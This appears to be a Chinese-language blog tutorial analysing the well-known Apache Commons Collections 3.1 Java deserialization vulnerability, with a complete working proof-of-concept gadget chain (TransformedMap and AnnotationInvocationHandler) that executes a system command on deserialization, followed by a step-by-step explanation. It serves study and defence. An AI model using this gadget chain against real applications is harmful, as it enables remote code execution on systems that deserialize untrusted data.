- 復現
- 環境準備
- POC
- 漏洞原理分析
- 構造反射鏈
- TransformedMap利用鏈
Apache Commons Collections 的反序列化漏洞在2015年被曝光,引起了廣泛的關注,算是 java 歷史上最出名同時也是最具有代表性的反序列化漏洞。
復現
環境準備
-
jdk 1.7 版本
下載壓縮包連結:https://pan.baidu.com/s/1jdS4L9Yi4Gtrn8NYgwDhNQ 提取碼:l2wv -
commons-collections-3.1 jar
下載Jar包連結:https://nowjava.com/jar/detail/m02261225/commons-collections-3.1.jar.html
POC
直接看其他師傅們的POC:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class POC4 {
public static void main(String[] args) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
HashMap innerMap = new HashMap();
innerMap.put("value","asdf");
Map outerMap = TransformedMap.decorate(innerMap,null,chain);
// 透過反射機制例項化AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(ins);
oos.flush();
oos.close();
// 本地模擬反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}
上面的復現使用的 payload 經過反序列化過後會執行:Runtime.getRuntime().exec("calc.exe")
,造成了本地命令執行,接下來就一步步探究這個漏洞是如何產生的。
漏洞原理分析
構造反射鏈
看到這個POC,首先關注 InvokerTransformer
這個物件,它是執行惡意程式碼的主要問題所在。首先看看這個類的建構函式,其中 this.iMethodName
是方法名, this.iParamTypes
是引數型別,this.iArgs
是引數的值。
它的 transform
方法很明顯呼叫了 java 的反射機制,傳入 input
是類名,利用反射拿到類名和方法名。方法的引數和型別是我們可以透過建構函式直接傳入的。現在只要 input 也是可控的,那我們就可以執行任意物件的任意方法。
我們的目標是達到遠端執行命令的效果,所以現在就是想辦法直接傳入 Runtime 類的例項物件。
巧的是,有個類 ChainedTransformer
,該類中也有一個 transform
方法:
該類的建構函式接收一個 Transformer 型別的陣列,並且在 transform 方法中會遍歷這個陣列,並呼叫陣列中的每一個成員的 transform 方法。
還有一個類 ConstantTransformer
,它同樣有一個 transform
方法,就是返回 iConstant,而 this.iConstant 又來自它的建構函式。
所以我們例項化 ConstantTransformer 時傳入一個 Runtime.class 返回的也是 Runtime.class。
到這裡已經介紹了三個 transfromer 類和三個 transform 方法:
InvokerTransformer | ConstantTransformer | ChainedTransformer |
---|---|---|
建構函式接受三個引數 | 建構函式接受一個引數 | 建構函式接受一個TransFormer型別的陣列 |
transform方法透過反射可以執行一個物件的任意方法 | transform返回建構函式傳入的引數 | transform方法執行建構函式傳入陣列的每一個成員的transform方法 |
現在嘗試把這幾個 transformer 組合起來構造一個執行鏈:
// TransFormer 型別的陣列
Transformer[] transformers_exec = new Transformer[]{
// 傳入 Runtime 類
new ConstantTransformer(Runtime.class),
// 反射呼叫 getMethod 方法,然後 getMethod 方法再反射呼叫 getRuntime 方法,返回 Runtime.getRuntime() 方法
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
// 反射呼叫 invoke 方法,然後反射執行 Runtime.getRuntime() 方法,返回 Runtime 例項化物件
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
// 反射呼叫 exec 方法
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers_exec);
這樣一個反射鏈條就構造好了,給一個初始的 object,然後輸出作為下一個輸入,從而實現鏈式呼叫。
大致過程如下:
-
ChianedTransformer 的 transform 是一個迴圈呼叫該類裡面的 transformer 的 transform 方法
-
首先呼叫 ConstantTransformer("java.Runtime")
-
第一次呼叫 InvokerTransformer 物件 getMethod("getRuntime",null) 方法,引數為 ("java.Runtime") 會返回一個Runtime.getRuntime()方法,但還沒有執行
-
第二次呼叫 InvokerTransformer 物件 Invoke(null,null) 方法,引數為 Runtime.getRuntime(),那麼會返回一個 Runtime 物件例項
-
第三次呼叫 InvokerTransformer 物件 exec("clac.exe") 方法,引數為一個 Runtime 的物件例項,呼叫了物件的方法,會執行彈出計算器操作
反射鏈就構造完畢了,現在要做的就是怎麼觸發 ChainedTransformer 的 transform 方法。
TransformedMap利用鏈
存在一些類,如 TransformedMap
和 AnnotationInvocationHandler
,重寫 readObject() 方法,在反序列化時會自動執行這些方法,來達到觸發 transform 方法的目的。
在 TransformedMap 類中的三個方法 transformKey
、transformValue
和 checkSetValue
都會觸發 transform 方法。
現在找到了能夠觸發 transform 的地方,但是這還是不能在反序列化的時候自動觸發。在反序列化只會自動觸發 readObject() 方法,所以現在需要找一個類重寫了 readObject()。
在 TransformedMap 裡的每個 entryset 在呼叫 setValue 方法時會自動呼叫 TransformedMap 類的 checkSetValue 方法。
那麼就要尋找這樣一個類:這個類的 readObject 方法中對某個 Map 型別的屬性的 entry 進行了 setValue 操作。
恰好就有這個類 AbstractInputCheckedMapDecorator
, 呼叫 java 的自帶類 AnnotationInvocationHandler 中重寫的 readObject 方法,該方法呼叫時會先將 map 轉為 Map.entry,然後執行 setvalue 操作。
執行 setValue() 方法,就會到 checkSetValue() 方法:
到 checkSetValue() 方法,就會執行 transform 方法,從而實現整個利用鏈。
綜上所述整個呼叫鏈:
-
->ObjectInputStream.readObject()
-
->AnnotationInvocationHandler.readObject()
-
->TransformedMap.entrySet().iterator().next().setValue()
-
->TransformedMap.checkSetValue()
-
->TransformedMap.transform()
-
->ChainedTransformer.transform()
對於 jdk 1.8 來說,AnnotationInvocationHandler 類中的這個關鍵的觸發點 setValue 發生了改變。所以就無法利用了。
jdk 1.8 有一個 LazyMap 利用鏈。
參考文章:
https://esonhugh.gitbook.io/javasec/3.-apache-commonscollections-zhong-de-fan-xu-lie-hua
https://xz.aliyun.com/t/8500
https://xz.aliyun.com/t/4711
若有錯誤,歡迎指正!o( ̄▽ ̄)ブ